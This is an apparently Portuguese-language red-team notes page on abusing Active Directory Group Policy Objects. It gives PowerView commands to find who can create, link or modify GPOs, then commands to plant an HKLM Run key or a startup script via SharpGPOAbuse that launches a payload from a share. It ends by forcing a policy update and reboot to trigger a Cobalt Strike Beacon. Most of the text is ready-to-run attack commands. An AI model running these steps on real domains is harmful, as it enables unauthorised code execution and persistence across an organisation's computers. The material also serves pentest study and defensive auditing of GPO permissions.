GPO (Group Policy Objects)

Criando GPO e Linkando com uma OU

Os objetos de política de grupo são armazenados em CN=Policies,CN=System - os principais que podem criar novos GPOs no domínio têm o privilégio Create groupPolicyContainer objects sobre este objeto. Podemos encontrá-los com o cmdlet Get-DomainObjectAcl do PowerView, procurando aqueles que têm direitos CreateChild no Group-Policy-Container e, em seguida, resolvendo seus SIDs para nomes legíveis.

powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=<subdomain>,DC=<domain>,DC=<local>" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }

A partir do resultado do comando acima, podemos ver quais grupos tem direito de criar GPO. Porém, ser capaz de criar um GPO não resulta em nada, a menos que possa ser vinculado a uma OU. A capacidade de vincular um GPO a uma OU é controlada na própria OU, concedendo privilégios Write gPLink. Isso é algo que podemos encontrar com o PowerView, primeiro obtendo todas as OUs do Domínio e canalizando-as para Get-DomainObjectAcl novamente. Itere sobre cada um deles procurando instâncias de WriteProperty sobre GP-Link.

powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl

Caso o retorno seja positivo, então já sabemos que os membros de um determinado grupo, podem vincular GPOs a uma determianda OU. Aliás guarde o valor de ObjectDN para uso futuro.

Os GPOs podem ser gerenciados na linha de comando por meio dos módulos RSAT do PowerShell. Esta é uma instalação opcional e geralmente encontrada apenas em estações de trabalho de gerenciamento. O cmdlet Get-Module mostrará se eles estão presentes.

powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands

Use o cmdlet New-GPO para criar e vincular um novo GPO.

powershell New-GPO -Name "<Mysther GPO>"

Alguns abusos podem ser implementados diretamente usando o RSAT. Por exemplo, o cmdlet Set-GPPrefRegistryValue pode ser usado para adicionar uma chave de execução automática HKLM ao registro.

powershell Set-GPPrefRegistryValue -Name "<Mysther GPO>" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\<dc\dir\dns_x64.exe>" -Type ExpandString

Agora, aplique o GPO à OU de destino. Pegue o valor de ObjectDN pelo retorno do segundo comando, que em resumo será o caminho da OU vulnerável.

powershell Get-GPO -Name "<Mysther GPO>" | New-GPLink -Target "<ObjectDN>"

Lembre-se que, as execuções automáticas do HKLM exigem uma reinicialização do SO para serem executadas.

Modificando GPOs Existentes

Modificar um GPO existente que já esteja aplicado a uma ou mais OUs é o cenário mais simples. Para pesquisá-los, precisamos enumerar todos os GPOs do domínio com Get-DomainGPO e verificar a ACL de cada um com Get-DomainObjectAcl. Queremos filtrar qualquer um para o qual um principal tenha privilégios de modificação, como CreateChild, WriteProperty ou GenericWrite, e também queremos filtrar os principais legítimos, incluindo SYSTEM, Domain Admins e Enterprise Admins.

powershell-import <C:\path\to\PowerView.ps1>
powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

Pegue o valor de ObjectDN e converta em seu nome de GPO. Observe a saída em displarname

powershell Get-DomainGPO -Identity "<CN={SID},CN=Policies,CN=System,DC=domain,DC=local>" | select displayName, gpcFileSysPath

Agora vamos converter o SID capturado no campo SecurityIdentifier, presente na saída do primeiro comando, utilizando-o no comando abaixo. A partir do resultado, iremos saber qual grupo tem privilégios (verificar permissões no campo ActiveDirectoryRights) na GPO em questão.

powershell ConvertFrom-SID <SID-SecurityIdentifier>

Também queremos saber a quais OUs essa GPO se aplica e quais computadores estão nessas OUs. As GPOs são vinculados a uma OU modificando a propriedade gPLink da própria OU. O cmdlet Get-DomainOU possui um parâmetro -GPLink que usa um GUID de GPO. No comando abaixo, utilize somente o valor SID (entre chaves) da GPO, presente no campo ObjectDN.

powershell Get-DomainOU -GPLink "<{SID-GPO}>" | select distinguishedName

Finalmente, para obter os computadores em uma OU, podemos usar Get-DomainComputer e usar o nome distinto da OU como base de pesquisa. Utilize o valor de distinguishedName do comando acima, para montar o comando abaixo.

powershell Get-DomainComputer -SearchBase "<distinguishedName>" | select dnsHostName

Para modificar um GPO sem o uso do GPMC (Group Policy Management Console), podemos modificar os arquivos associados diretamente no SYSVOL (o gpcFileSysPath).

ls \\<subdomain.domain.local>\SysVol\<subdomain.domain.local>\Policies\<{SID-GPO}>

Ou se preferir, podemos fazer isso de forma automatizada. Como exemplo, podemos usar um script de inicialização no SYSVOL, que será executado toda vez que um computador afetado for iniciado.

execute-assembly <C:\path\to\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe> --AddComputerScript --ScriptName <file.bat> --ScriptContents "start /b \\<dc\dir\dns_x64.exe>" --GPOName "<gpo-vulnerable-name>"

Para verificar se deu certo, execute o comando do PowerView abaixo

powershell Find-DomainShare -CheckShareAccess

Agora assim que a máquina alvo tiver sua GPO atualizada e a máquina for reiniciada, irá ser trigado o Beacon. Caso tenha acesso a máquina, force esse acontecimento com os seguintes comandos

gpupdate /force
shutdown -r -t 1

Sites

# SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse

Last updated